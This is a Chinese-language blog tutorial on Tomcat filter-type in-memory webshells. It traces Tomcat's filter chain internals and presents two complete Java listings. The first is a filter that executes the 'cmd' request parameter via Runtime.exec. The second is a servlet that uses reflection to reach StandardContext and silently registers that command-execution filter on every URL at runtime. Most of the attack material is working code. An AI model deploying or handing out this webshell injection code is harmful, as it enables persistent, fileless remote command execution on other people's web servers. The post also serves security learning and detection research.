filter型内存马学习

创建恶意filter

先获取参数cmd,再利用Runtime执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.example.myServlet;


import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class FilterShell implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {

}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
if (request.getParameter("cmd") != null){
Process exec = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream inputStream = exec.getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String output = scanner.hasNext() ? scanner.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
System.out.println("过滤器调用完毕,开始转发给Servlet...");
chain.doFilter(request,response);

}

public void destroy() {

}

}

添加filter到web.xml

RCGbUs.png

RCGX80.png

内存马的一些问题

怎么创建内存马?

1
2
假设我们基于filter去实现一个内存马,我们需要找到filter是如何被创建的。
实战中不可能写一个filter对象再放到对方代码中。因此需要找到一个注入点,动态的在内存中创建一个filter对象,实现内存马。

如何动态的在内存中创建Filter对象?

Servlet 规范(应该是从3.0 开始)里面本身规定了一个名为ServletContext 的接口,其中有三个重载方法,这三个方法使得我们可以在运行时动态地添加过滤器。:

1
2
3
4
5
FilterRegistration.Dynamic addFilter(String filterName,String className)

FilterRegistration.Dynamic addFilter(String filterName,Filter filter)

FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)

如何调用ServletContext?

1
不能直接调用,tomcat只允许容器还没有初始化完成的时侯调用这个几个方法,初始化结束后再尝试调用会出现异常

ServletContext接口的实现类?

1
org.apache.catalina.core.ApplicationContextFacade

一些相关类

ApplicationContext:是tomcat中ServletContext接口的实现,包含了StandardContext实例。

ApplicationContextFacade:在Web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装。

StandardContext:Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)

filter创建的过程

注意一下,开始调试之前要先添加tomcat的lib依赖,不然调试的时候找不到包

RCGOCq.png

RCGq5n.png

可以看到实际获取到的是一个ApplicationContextFacade对象,它对ApplicationContext的实例进行了封装。

RCGj2V.png

调用栈中的上一级是internalDoFilter,打个断点看看它做了什么

RCJCVJ.png

org.apache.catalina.core.ApplicationFilterChain#internalDoFilter

这个方法获取之前实现的filter,并且调用其中的doFilter方法

RCGvvT.png

org.apache.catalina.core.ApplicationFilterChain#doFilter

再上一级是doFilter,这里调用了internalDoFilter

RCGzKU.png

org.apache.catalina.core.StandardWrapperValve#invoke

再往上是StandardWrapperValveinvoke,调用filterChain.doFilter

RCJSrF.png

filterChain的来源,由createFilterChain创建

1
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

RCJi5R.png

org.apache.catalina.core.ApplicationFilterFactory#createFilterChain

这里则会调用context.findFilterMaps()StandardContext寻找并且返回一个FilterMap数组。

RCJkP1.png

可以再filterMaps数组中找到之前添加的filter和URL映射关系

RCJPa9.png

RCJE26.png

org.apache.catalina.core.StandardContextValve#invoke

再往上是调用管道的invoke方法

RCJpb4.png

总结

1.org.apache.catalina.core.StandardContextValve#invoke
调用管道的invoke方法

2.org.apache.catalina.core.StandardWrapperValve#invoke
创建filterChain。调用filterChain.doFilter
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
filterChain.doFilter(request.getRequest(), response.getResponse());

2(1):org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
调用context.findFilterMaps()StandardContext寻找并且返回一个FilterMap数组。
遍历得到的FilterMap数组
匹配filter和url映射关系、判断filterConfigs中是否存在对应filter实例
判断通过后调用addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。

3.org.apache.catalina.core.ApplicationFilterChain#doFilter
调用了internalDoFilter

4.org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
获取已经实现的filter,并且调用其中的doFilter方法

Filter实例存储分析

org.apache.catalina.core.StandardContext容器类负责存储整个Web应用程序的数据和对象,并加载了web.xml中配置的多个Servlet、Filter对象以及它们的映射关系。

里面有三个和Filter有关的成员变量:

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

内存马实现

简单来说就是在运行动态添加一个filter

大致流程如下:

  1. 创建一个恶意 Filter
  2. 利用 FilterDef 对 Filter 进行一个封装
  3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
  4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)

StandardContext 类中, Filter实例存放在filterConfigs、filterDefs、filterConfigs这三个变量里面,将fifter添加到这三个变量中即可添加内存马。那么如何获取到StandardContext 成为了问题的关键。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
package com.example.myServlet;

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;

public class DemoServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Field Configs = null;
Map filterConfigs;
try {
//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);



String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){

InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);

return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}
};

//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);

//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);

//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");


}
} catch (Exception e) {
e.printStackTrace();
}


}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req,resp);
}

}

成功添加了filter

RCJA8x.png

参考链接

https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw

http://m0d9.me/2020/09/27/Java%E5%86%85%E5%AD%98shell%EF%BC%9Aservlet/

https://www.cnblogs.com/nice0e3/p/14622879.html

http://li9hu.top/tomcat%E5%86%85%E5%AD%98%E9%A9%AC%E4%B8%80-%E5%88%9D%E6%8E%A2/

https://xiao-tan.xyz/2021/04/18/%E5%86%85%E5%AD%98%E9%A9%AC%E5%88%9D%E6%8E%A2-Filter/

http://wjlshare.com/archives/1529#0x04_Filter


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!